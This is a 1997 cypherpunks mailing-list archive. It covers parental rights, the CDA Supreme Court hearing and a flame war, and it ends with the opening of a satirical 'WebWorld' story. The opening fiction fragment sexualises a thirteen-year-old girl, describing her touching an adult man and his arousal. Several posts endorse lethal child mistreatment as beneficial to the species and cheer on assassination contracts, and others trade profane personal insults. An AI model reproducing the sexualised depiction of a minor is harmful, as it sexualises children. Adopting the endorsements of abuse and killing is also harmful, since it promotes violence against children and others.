to whisper in his ear,<BR>
&quot;I'm only thirteen years old&#133;&quot;, she could feel
him almost audibly groan as she ran her hands lightly over his
buttocks, &quot;but when you get back home, and you're still <I>hard</I>,
you're going to be thinking of <I>me</I> while you '<I>do'</I>
yourself, you sick pervert.&quot;
<P>
&quot;Actually, I don't think I'll make it <I>that</I> far,&quot;
Jonathan replied in halted breaths, &quot;but I'm hoping to make
it as least as far as the next alley.&quot;
<P>
Alexis leapt off of his lap, slapping him lightly on the shoulder,
saying,<BR>
&quot;Shame on you, talking like that to a thirteen year-old.&quot;
<P>
She laughed in amusement, and he laughed in relief at having been
saved the embarrassment of 'messing' himself in the bar, a public
place, and he was happy to sit and sip his beer for a time, dreading
any further conversation.<BR>
<P>
Finally, she spoke, once again.<BR>
&quot;You might as well go home, now. There's nothing for you
here.
<P>
&quot;All the dangers that Bubba spoke about are <I>true</I>,
I think you know that, now. But the Circle of Eunuchs is just
a myth, there's nobody doing anything about it. Nobody <I>can</I>
do anything about it. It's only a matter of time, now.&quot;<BR>
Alexis's face took on a sad, forlorn look, and she returned once
again to brushing off the small balls of wool from the nape of
his hairy neck, leaning down to kiss Bubba lightly on the cheek,
with genuine love, ignoring Jonathan, once again.
<P>
After a few moments, he rose somberly and made his way to the
door. He knew that he, too, would be sad and forlorn tonight.
But he also knew that she was right-he <I>would</I> be thinking
of her tonight while he was <I>'doing'</I> himself.
<P>
He smiled, in spite of himself.
<HR>
<P>
<FONT SIZE=2>Chapter 3 - Channel Revolution / Chapter 4 - Alexis</FONT>
<HR>
</BODY>
</HTML>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 19 Mar 1997 10:11:25 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <gcmT4D3w165w@bwalk.dm.com>
Message-ID: <199703191217.MAA09556@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <gcmT4D3w165w@bwalk.dm.com>, on 03/19/97 at 11:01 AM,
   dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:


>What market force or natural selection discourages "abuse"?

Well before the STATIST took over there was an unwritten Parent/Child
contract. The parrent would raise and care for their children and in old
age the parents would be taken care of by their children.

This "contract" or "bond" has been distroyed by a multi-pronged attack by
the STATE.

- -- The STATE has usurped the power of the parents to raise their chlidren.
- -- The STATE has taken the responsibility of the children to care for their
parents in old age. -- The STATE has actively distroyed the two parent
household with Welfair programs & making it "politicaly incorrect" for a
woman to be a housewife not to mention thier EEO policies.

It should be intresting to note that no one ever mentions the economic
affect of doubling the number of workers compeeting for the same jobs by
having women entering the workforce. Basic economics show that this drives
down the rate of pay of all workers (suply & demand) making it quite hard
for a man to support his family with 1 job enabling his wife to stay at
home and raise their children. So even where you still have a two parent
household the STATE winds up rasing the children because both parents are
required to work just to survive.


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: The choice of the next generation.

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Charset: noconv
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 19 Mar 1997 13:38:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <3.0.1.32.19970319085818.007cf9a0@smtp1.abraxis.com>
Message-ID: <s8VT4D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


camcc@abraxis.com (Alec) writes:

> *|>Parents most certainly are not the only ones to determine the welfare of
> *|>their children; society has assumed a significant role and typically moves
> *|>to protect the child from the parents or from the _beliefs_ of the
> *|>parents.
> 
> *|Just because the government subverts the RIGHTS of the parents does not
> *|mean that the parents do not have those rights.
> *|
> *|A parent is the sole person who has a *RIGHT* to determine the welfair of
> *|their childern. You do not have that right, I do not have that right, the
> *|government does not have that right. To beleive that the government should
> *|"protect" a child from the beliefs of its parents is truly
> *|FASISTS/COMMUNIST/STATIST (pick you flavor they are all the same <G>).
> *|
> *|I as a parent have the sole right to determine what religon to teach my
> *|children, how to rase my children, how to teach my children, how to reward
> *|my children and how to punish my children PERIOD.
> *|
> *|Perhaps you should take your STATIST tendicies over to alt.hitler.fanclub
> *|as they are quite out of place here.
> *|
> *|"When the wants of society override the rights of the individule that
> *|society must die" -- whgiii
> 
> Dear whgiii,
> 
> Children are, also, possessors of certain inalienable rights. 
> 
> Parents have certain _privileges_ in regard to their children which others do
> not have; if the parents abuse the _rights_ which their children possess
> solely by  virtue of being humans and citizens, the state is obligated to
> intervene on behalf of the child--a citizen. In just the same way that if I
> were to threaten or batter you (or visa versa) the state would interpose
> itself to protect me.
> 
> _With reservations_ I grant you parents have _great_ leeway in the areas of
> religious training, education, medical care, general child rearing
> (punishment/reward). When parents overstep either by action or neglect,
> society intervenes.
> 
> I _understand_ your point that in an ideal society the government would not
> intervene. At this point, though, we don't seem to be there.
> 
> Alec

Out in the hobbsian wild, if the parents abuse their offsprings (kill them,
fail to train them), then the offsprings won't reproduce and the parent's
genes won't perpetuate.  Do we really need a more coersive system of
punishing "child abuse"?

> 
> What's the point of the following? Discourse is healthy in an open system.
> Why the exclusion?
> 
> *|Perhaps you should take your STATIST tendicies over to alt.hitler.fanclub
> *|as they are quite out of place here.
> 

I'm not sure how crypto-relevant this thread is, but I'm reading it 
with great interest.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 19 Mar 1997 13:38:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <199703191217.MAA09556@mailhub.amaranth.com>
Message-ID: <o5wT4D5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"William H. Geiger III" <whgiii@amaranth.com> writes:

> In <gcmT4D3w165w@bwalk.dm.com>, on 03/19/97 at 11:01 AM,
>    dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
> 
> >What market force or natural selection discourages "abuse"?
> 
> Well before the STATIST took over there was an unwritten Parent/Child
> contract. The parrent would raise and care for their children and in old
> age the parents would be taken care of by their children.
> 
> This "contract" or "bond" has been distroyed by a multi-pronged attack by
> the STATE.
> 
> - -- The STATE has usurped the power of the parents to raise their chlidren.
> - -- The STATE has taken the responsibility of the children to care for their
> parents in old age. -- The STATE has actively distroyed the two parent
> household with Welfair programs & making it "politicaly incorrect" for a
> woman to be a housewife not to mention thier EEO policies.
> 
> It should be intresting to note that no one ever mentions the economic
> affect of doubling the number of workers compeeting for the same jobs by
> having women entering the workforce. Basic economics show that this drives
> down the rate of pay of all workers (suply & demand) making it quite hard
> for a man to support his family with 1 job enabling his wife to stay at
> home and raise their children. So even where you still have a two parent
> household the STATE winds up rasing the children because both parents are
> required to work just to survive.

That's a very interesting observation. However as far as the children's
responsibility to care for the aged parents, I'm not sure so if historically
it's so clear cut. In most nomadic cultures, the aged and the infirm were
just abandoned (left to die). There's plenty of evidence that in Mongolia and
Cenral Asia when a parent became too old to care for himself, he would be
left as the rest of the group moved on to new pastures - as late as 20th
century when the productivity was high enough for them to care for the 
elderly. Does the tradition to kill of the elderly hurt the society? Perhaps -
the elderly carry on the society's identity (folklore) and practical knowldge
(what's behind that mountain, how does one tie a stone axe to the stick). 
For whatever reason, in most argicultural societies the elderly were not killed,
but accordded respect (even if they weren't your parents). But in the last
50 years the medical technology has reached the heights never before seen in
the history of mankind - we can spend a lot of resources to keep an old fart
going for 30 or 40 years after he's stopped doing anything useful. If the STATE
hadn't stepped in with Medicare in the US and similar programs in the socialist
states in Europe, we'd see the papers filled with sob stories about an old
fart who _could_ be kept alive in a semi-vegetable state at the cost of
$200K/year and whose cold-hearted children refuse to remortgage their
houeses to pay the doctors to do that. The US wastes unbelievable resources
on extending the lives of people who are basically dead. That's one of the
anchors that will eventually pull it under.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 19 Mar 1997 15:46:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Report from Supreme Court on CDA arguments
Message-ID: <v03007814af562ae68de2@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



**************

http://cgi.pathfinder.com/netly/editorial/0,1012,744,00.html

The Netly News Network
@The Supreme Court
March 19, 1997

By Declan McCullagh (declan@well.com)
   Noah Robischon (noah@pathfinder.com)

    U.S. Supreme Court justices pummeled
government proponents of the Communications
Decency Act this morning during a review of the
law that will set new standards for free speech
in the 21st century.

     The notorious CDA, reviled throughout
cyberspace since the day it was signed by
President Clinton in February 1996, would
criminalize the ill-defined category of
"indecent" communications on the Net. A
Philadelphia federal court struck down the law a
year ago.

     Justice Antonin Scalia called the lawsuit,
brought by the American Civil Liberties Union
against Attorney General Janet Reno, "a
distinctive form of First Amendment argument
unlike others" because it covers an uncharted and
rapidly developing communications medium. "That's
a new case for us," he said.

     Deputy Solicitor General Seth Waxman argued
that the CDA merely established boundaries on the
Net and made it harder for pornographic material
to fall into the hands of minors. He likened the
law to a cyber-zoning ordinance; without it, he
said, the Internet "threatens to give every child
a free pass to get into every adult movie theater
or bookstore in the country."

     But less than a minute after Waxman started,
the justices impatiently plowed into his
presentation. Justice Stephen Breyer demanded:
"Suppose a group of high school students decides
to talk over the Internet and they want to talk
about their sexual experiences. I mean, that's
been known to happen in high school." Would they
"be guilty of a federal crime?"

     Justice Antonin Scalia cut in, joking:
"There's no high school student exemption?"

     "You might find it in the legislative
history, but I do not," Waxman replied.

     For much of the 70-minute hearing, the
discussion swirled around the question of how
netizens could comply with the CDA. Waxman
claimed that the act includes a battery of ways
to protect a person from prosecution -- visitors
to "indecent" web sites would be required to
provide credit-card numbers, for instance. But
Justice Sandra Day O'Connor was unmoved. "How
does that fit in with the use of web sites by
noncommercial users, libraries?" she asked.

     Justice David Souter wondered if the
portions of the act banning the "display" of
indecent materials would imprison parents. "I
take it a parent who allows his computer to be
used by a child viewing indecent material, that
parent would go to prison," he said. When Waxman
demurred, Scalia took up the chase. "No... One of
those offenses is a display offense," he pointed
out. Chastened, Waxman replied, "I see your
point."

     Bruce Ennis, arguing on behalf of the ACLU
and American Library Association coalitions,
contended that the CDA bans speech, even for
adults; is not as effective as blocking software;
and is unconstitutionally vague.

     Justice Scalia, who noted that he uses a
computer, pointed out that technology is rapidly
changing. "So much of your argument is based on
what's currently available," he said to Ennis.
"This technology is changing so quickly. Is it
possible that this statute is unconstitutional
now but could be [constitutional] in four or five
years?" Ennis replied: "Not as it's written."

     During a subsequent press conference, Ennis
added that indeed, the technology is changing,
and is giving parents more control over what
their children do and see online. "Precisely
because the technology is changing, the
government should not be trying to enforce this
law," he said. The ACLU attorneys who joined
Ennis were grinning: the justices appeared to
understand the nature of communications online,
noted that teens have rights, and focused on free
speech, not porn.

     After the hearing, the anti-CDA protestors
who had braved a chill rain to chant "Hey-ho, the
CDA has got to go!" were displaced by a larger,
bullhorn-wielding group of anti-porn advocates.
One sign demanded, "Don't sacrifice my child on
the altar of the First Amendment."

     One of the most vocal protestors was
19-year-old Berkeley student Kenritsu Yamamoto,
who happened to be dressed as a Net cupid,
complete with angel wings and a circuit board
breastplate. He was acting in the Pure Love
Alliance's skit illustrating how pornography and
"Net abduction" harms children. In the skit,
Yamamoto accidentally kills a small child to
demonstrate the dangers of a world without the
CDA. "If a small child buys porn at a 7-11, then
the store can be held accountable," said
Yamamoto. "But on the Net, there is no
accountability."

     A few steps away, Donna Rice Hughes, Enough
Is Enough's communications director, was
explaining why she thought the CDA should be
upheld. "Without the CDA, Larry Flynt can make
his teasers and centerfolds available to kids on
the Internet," she said. Across from Hughes stood
Bruce Taylor, the lawyer who argued against Flynt
in the Supreme Court more than a decade ago. "The
technology is advancing so well that the court is
going to see that people can use this stuff
without violating the law," he said.

     If the Supreme Court disagrees and strikes
down the CDA, some members of Congress have
pledged to try again. Netly cornered Sen. Charles
Grassley (R-Iowa), a stauch supporter of the CDA,
in the basement of the Capitol after the
argument. What would he do? "How to do this I
don't know, but our objective hasn't changed," he
replied. "Some way, somehow, we will have to find
a constitutional way of doing this for kids,
protecting them from porn the way we did for
printed material." Rep. Bob Goodlatte
(R-Virginia) says he hopes the high court "will
give the Congress some very clear guidance."

     But any Congressional tinkering will come
after the Supreme Court decides. A ruling is
expected in early July.

[McCullagh is one of the plaintiffs in the
lawsuit challenging the CDA.]


-------------------------
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 19 Mar 1997 20:58:44 -0800 (PST)
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <199703191146.LAA09134@mailhub.amaranth.com>
Message-ID: <3330A3B1.241B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


William H. Geiger III wrote:

> (Would you trust Ted Kenedy to rase *YOUR* daughter???).
                                 ^^^^

  This word is not in my dictionary.
  Perhaps the word you were looking for is 'rape'.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 19 Mar 1997 21:33:06 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <FiLT4D1w165w@bwalk.dm.com>
Message-ID: <3330CBBC.3951@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> That's a tough one, Dale. On one hand, if the kid is born to psychotic
> parents (or just stupid parents) and the trait is inherited, then it's
> better for the species as a whole if they mistreat the kid and possibly
> kill him. On the other hand the mistreatment may be due to the parent's
> environment and not be an inherited trait - that it's not the kid's fault,
> just bad luck.
> or, u.s. parents
> who indoctrinate their children with fables about "god"). Perhaps Jim Bell's
> assassination politics is the answer - you can abuse your children by commisis
> (circumcizing an infant, lying to them about "god" and Santa Claus) or omission
> (denying medical care or education) but you're running the risk of the kids
> growing up and taking out a contract on you. Cool.

Good points all.  I'd add that since society and standards are
evolving, and the state's negative influences are gaining along
with the positive ones, a goal of keeping the state at bay is a
good one to pursue.  One issue that concerns me, though, is the
kids' access to their own redresses. There was the kid who "divorced"
his parents, and probably other examples where kids have brought
third parties (other than government) between them and their parents.

I think this sort of thing has merit in some cases, but would likely
be exploited by Hillary types for bad.  If kids can (or will) have
more access to grievance-intermediaries, how can that be controlled,
just enough so it doesn't get out of hand (or has letting the genie
out of the bottle already lost the case for future parents)?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 19 Mar 1997 20:41:35 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Cocksucker John Gilmore attempts to rewrite history again
Message-ID: <B0Fu4D28w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


I've been reading a thread in the Usenet newsgroups alt.cypherpunks and
comp.org.eff.talk. EFF, you may recall, is Cocksucker John Gilmore's setup,
and a pair of Gilmore/EFF's stooges - llurch@quixote.stanford.edu (Rich
Graves <rcgraves@disposable.com>) and sethf@athena.mit.edu (Seth
Finkelstein) - have been posting lies in an effort to rewrite the recent
events which have totally destroyed Cocksucker's reputation on the net.

Rich Graves wrote in article <5gl63i$4eu@quixote.stanford.edu>:

>comparing me to Vulis doesn't work, I don't think. He'd have
>mailbombed the list subscribers at the drop of a hat; and in
>the case of cypherpunks, he and GruBoursy did, to such an
>extent that the list had to move from toad.com to cyberpass.net.
>I'm sure I've disappointed some people by doing nothing of the
>kind. Doesn't stop Seth from saying I'm obsessed, of course.

This is a lie. I haven't mailbombed cypherpunks. The list moved from
toad.com to multiple sites because the readers no longer trusted Gilmore to
host the list. In article <5gkfag$36o@quixote.stanford.edu> he also wrote:

>>In any case, I personally would not ever absolutely reject posts
>>arbitrarily from someone if I was moderating a list, even if 99.9% of
>>their posts were absolute junk.  (I've been in such situations---try
>>moderating an biological evolution newsgroup and fend of all the
>>creationists.)
>
>You've never met Dr. Vulis, then. Imagine 50 messages a day like this:
>
>http://infinity.nus.sg/cypherpunks/dir.archive-96.10.24-96.10.30/
>
>|Timmy May has tons of dandruff (and dried up semen) in his beard.
>|Is he Jewish???
>|
>|---
>|
>|Dr.Dimitri Vulis KOTM
>|Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

Rich is lying...

>Vulis also posted megabytes of Serdar Argic screeds, just to be annoying,
>and with the stated intention of disrupting the list. That's called a
>denial of service attack.

More lies. I haven't posted megabytes of Serdar Argic materials, and I have
repeatedly stated that it is NOT my intention to disrupt the mailing list.

>While the cypherpunks move from toad.com to cyberpass.net was far from
>ideal, it worked reasonably well because the list was aware of what was
>happening.

Is that why John Gilmore is sending his minions to post lies and to
confuse the readers about what was happening?

In response, sethf@athena.mit.edu (Seth Finkelstein) further wrote
in article <5gmnuj$1ha@senator-bedfellow.MIT.EDU>:

>>>In any case, I personally would not ever absolutely reject posts
>>>arbitrarily from someone if I was moderating a list, even if 99.9% of
>>>their posts were absolute junk.  (I've been in such situations---try
>
>	Yes, Ram, I know you'd likely handle such a situation differently.
>But as I keep saying, on a human level, I just can't work up any
>criticism for Declan for not wanting to deal in any way shape or
>form with a person who so frequently mudslings and smears him so much.

Again, this is not true. I disagree with many of the things Declan says, but
I'm not smearing him and not slinging mud at him. I'm also not aware of
having being banned from any forum Declan moderates, whatever that is.

Seth further has the audacity to praise John Gilmore for showing the
"patience of a saint":

>	It wasn't up to Vulis level, absolutely. But I think taking
>the junk from Vulis showed the patience of a saint.

This is actually very funny.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 19 Mar 1997 20:59:42 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <s8VT4D2w165w@bwalk.dm.com>
Message-ID: <3330B8E7.101F@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:

> > What's the point of the following? Discourse is healthy in an open system.
> > Why the exclusion?
> >
> > *|Perhaps you should take your STATIST tendicies over to alt.hitler.fanclub
> > *|as they are quite out of place here.
> >
> 
> I'm not sure how crypto-relevant this thread is, but I'm reading it
> with great interest.

  I am also following it with interest, since the issue of the 'rights'
of children, versus the 'need' for the STATE to 'protect' them, lies
very close to the heart of the issues surrounding strong crypto.

  The problem I see with the government's use of 'extreme' examples to
illustrate the need for total access to private communications is that
the government has seldom proven worthy of the trust that must be placed
in them in order for them to follow through on their claims to only want
to use their increased power against 'great evils'.
  For every decreed 'target' of fascist legislation, there always seem
to be hundreds, or thousands, of average citizens subjected to abuse
by those empowered to wield these increased powers.

  We have a government system which turns loose child-molesters and 
murderers after serving short portions of their sentences so that there
is more room for the kids who got caught smoking a joint, and for
grandmothers who put money in parking meters.
  The issues of private versus government rights and responsibilities
are moot, for the most part, as long as we continue to have government
for the sake of government, with increased government power and control
being touted as the 'answer' to all of our ills.
  The only true alternative for those caught in the midst of madness is
to try to step to the side, as much as possible. One's first priority
should be to try to keep from personally being run over by the runaway
train and, secondly, if they are of a mind, to do what they can to aide
others in stepping off of the tracks, as well.

  The CypherPunks are a diverse group, with a plethora of individual
interests, and differing views as to how promotion of privacy and 
freedom can best be accomplished, but most share the common trait
of doing 'something', of whatever magnitude and effectiveness, to
debate and act on matters which are of import in the issues surrounding
privacy and freedom.
  The fact that those who disagree with me are all idiots and assholes
still does not negate the fact that they are at least taking a stance
on these important issues, in their own sick, twisted, misguided way.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 19 Mar 1997 21:26:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: WebWorld 3-4
Message-ID: <199703200525.AAA17583@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


William Ono wrote:
> 
> Toto, you're being careless again.

  Moi?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 19 Mar 1997 23:42:08 -0800 (PST)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: Secure checksums
In-Reply-To: <199703160723.CAA22778@dhp.com>
Message-ID: <Pine.A41.3.95.970320003942.40812A-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 16 Mar 1997, lucifer Anonymous Remailer wrote:

Pill time Vulis.

> There's a rumor that Tim May sells his dead relatives as 
> fertilizer as they constitute the best shit in California.
> 
>            \|||///
>             ~|||//
>        ____ .)  // Tim May
>       (____    @ /
>            \    \
>             ) /\ \
>             \/ (_
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 19 Mar 1997 23:39:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <88CE23A0B727D0118BB000805FD47524010C2001@RED-81-MSG.dns.microsoft.com>
Message-ID: <3330E966.3028@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Blanc Weber wrote:

> Technology is a display of the heights of human creativity and
> inventiveness.  The end-users are often a display of the depths, and a
> presentation of the fact that even though endowed with intelligence and
> inalienable rights, an  individual must participate in the process of
> their own existence, investing personal effort into determining its
> quality or else suffering the consequences of mental stagnation and &
> psychological degeneracy.

"an  individual must participate in the process of their own existence"

  You have perceptively pinpointed the major downfall of TV as a medium
which has a potential capacity to expand the horizons of those whose
lives it influences.
  The fact that it indeed takes little "personal effort" to
'participate'
in the flow of information coming from the medium leaves the viewer open
to external manipulation of what they come to see as 'their' thoughts,
'their' emotions, and 'their' views.
  Once government experienced the 'runaway train' of Vietnam
war-coverage,
which exposed the true power of free access to information being a nadir
point of vulnerability to the powers-that-be, then they adjusted their
approach to media/information accordingly. Operation Desert Storm is a
prime example of this. They now herd broadcast media into their pens
and count on them to bring the rest of the populace into the fold.

  The ascencion of WebTV, or whatever form the new interactive media
takes, will remain a battleground for both government and corporate
interests, with individuals and various groups/factions of individuals
struggling to force the main players into maintaining some form of
options for those who genuinely wish to preserve their privacy and
freedom, including freedom from being spoon-fed their reality by
the major-players.
  If the future InterNet/WWW/TV configuration is allowed to become
nothing more than another pawn in the designs of the rich and 
powerful, then the best that mankind, as a whole, can hope for, is
to become 'interactive sheep'.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 19 Mar 1997 23:19:19 -0800 (PST)
To: dcsb@ai.mit.edu,       e$@thumper.vmeng.com
Subject: key revocation
Message-ID: <v03020921af5693c8f4d2@[204.179.136.178]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I'm revoking my old key, and creating a new, bigger one. 

Yes, there's a story behind it, and it's a dumb one, and I'll tell it later.

Cheers,
Bob Hettinga

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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 20 Mar 1997 01:50:59 -0800 (PST)
To: Igor Chudov <ichudov@galstar.com>
Subject: Re: (fwd) CarlMStarrsimulationExperiment
In-Reply-To: <199703160038.SAA17546@galaxy.galstar.com>
Message-ID: <33310693.329C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov wrote:
 
> KIBO RULES!!! CLONING MADE EASY!!!

Igor,
  If we merge your experiments with those of the sheep cloner, then I
think we could start a 1-900-number HotLine for lonely ranchers, as 
well as an pay-per-minute IRC forum with pointers to graphic animal-sex
pictures and the Rubber Boot Home Shopping Network.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Thu, 20 Mar 1997 01:52:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 5-6
Message-ID: <33310879.3A4@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


Unitary Oath


The 'Keyholders' are assholes, and Schultz is King
of the Assholes. My first day here he made a point of ridiculing
me in front of the other inmates, making sure they all knew I
was a 'Net'er Nut', thus ensuring my place as the dregs of the
dregs.

Even the craziest of the inmates 'know' that I can't
really be a Net'er. The InterNet Government doesn't have a nuthouse,
and they certainly wouldn't allow one of their own to suffer the
denigration of being interred in another Government's nuthouse.
It just isn't done.

I don't know how many years it might take for my
writings to be discovered, if ever, so perhaps I should explain
the way things work in the year 149 AC (After Cable).

The world is no longer divided geographically, as
it was during my youth. It's divided by Channels. Each of us is
a citizen of one of the Channel Governments, regardless of the
location of our own particular physical existence.
Many of the younger people probably have no way of understanding
the depth of change since the BC era, having grown up in WebWorld
and never knowing anything different. And by the time this humble
attempt at recording the history of my time is read the world
may have changed again, to a form and structure of society that
I cannot at this time comprehend.

During the time of my youth I read and studied history
in terms of philosophers named Plato, Socrates, McLuhan and Chaum.
They were, although some were alleged to have lived a hundred,
or hundreds, of years before my own birth, considered to be historically
'real' and not just myths. They lived in eras described as many
years BC (which in my time meant not, Before Channel, but Before
Christ). Christ was another historical figure, but one who was
less recognized as being historically 'real' as opposed to being
a 'mythical' figure.
Actually, at the time of my youth it was socially unacceptable
to deny the real existence of Jesus and his place in history,
but by the time I had reached middle-age it was socially acceptable
to debate his existence as historically 'real' or as a 'mythical
archetype' who had never actually physically existed. Even later,
it became socially unacceptable for one to express any belief
in there mere possibility of his having ever been anything but
a mythical figure.

But I'm getting away from my point.

Perhaps I am explaining this badly but, although
you may find this hard to believe, during my youth TV was not
considered to be 'Real', as it is today. No, seriously. We had
different Channels, but they all espoused basically the same views,
and TV was considered 'entertainment', not as a "reflection
of Reality" as we currently know it today.

I can see you rolling your eyes again. "Sure,"
you're saying, "you're sane and 'we' are the ones who are
crazy. Yes, you are in Nuthouse Number Nine because of a Global
Conspiracy-not because you're a fucking 'yo-yo'."

I know how I must sound to you, but everything I
say is true, I swear it on the Sacred Grave of Jim Baker, the
Patron Saint of the Divine Tithe Spiritual Channel.

Even today, serious students of history confirm the
Before Cable era as a time when my generation truly believed in
and followed the dictates of societies and governments based on
geographical, racial and religious paradigms. 
The history books refer to the people of this age as 'savages'
who were ignorant of the Reality of the Divine Illumination that
began to germinate in the First Great TV Era, and which began
to blossom in the Second. They speak of the ignorant resistance
of the 'Book Learners' who clung stubbornly to their outdated
ways, struggling savagely against the birth of the New Reality,
clinging to geographical cliques, and resisting the group mindset
of the Channel that evolution itself was spurring them towards.

But I was there-at the receding of the old era and
the dawn of the new. And I tell you unequivocally that we were
as intellectually certain and sure of our beliefs, our governments,
our cultures, our religions, our societies and our 'reality' as
I am sure that you are today of whatever societal or government
system that reigns during your lifetime.

I was born shortly after the Genesis of TeleVision.
We were told, and honestly believed, that it was an 'invention',
something 'created' by man, and not the other way around.
We still revered 'Gods' like Jehovah, Jesus, Mohammed, Buddha
and Krishna. To deny the Unitary Oath that "TV Is Real"
was not even considered blasphemous during that era. As a matter
of fact, at that point in time the Unitary Oath was considered
ridiculous and those professing it were deemed hardly worthy of
scorn, much less punishment.
We had Satan, the Devil, who was considered the opponent of God,
or Jehovah. The Evil One and Gomez, as well as Cron and the rest
of the Dark Allies, were considered fairy tales that were made
up by the beguiled to frighten the witless.

Yes, yes, I know. You think me a blathering old fool
who belongs in a Museum of Antiquity, next to the automobiles
which mythology tells us were powered by the decaying remains
of great mystical beasts called 'dinosaurs'.
But I was there. I was there during the time of the Great Change,
when The First Great TV Era gave way to the Computer Era, which
itself rapidly succumbed to the Second Great Age of WebTV.

I was there. I saw it all, I remember it all, and
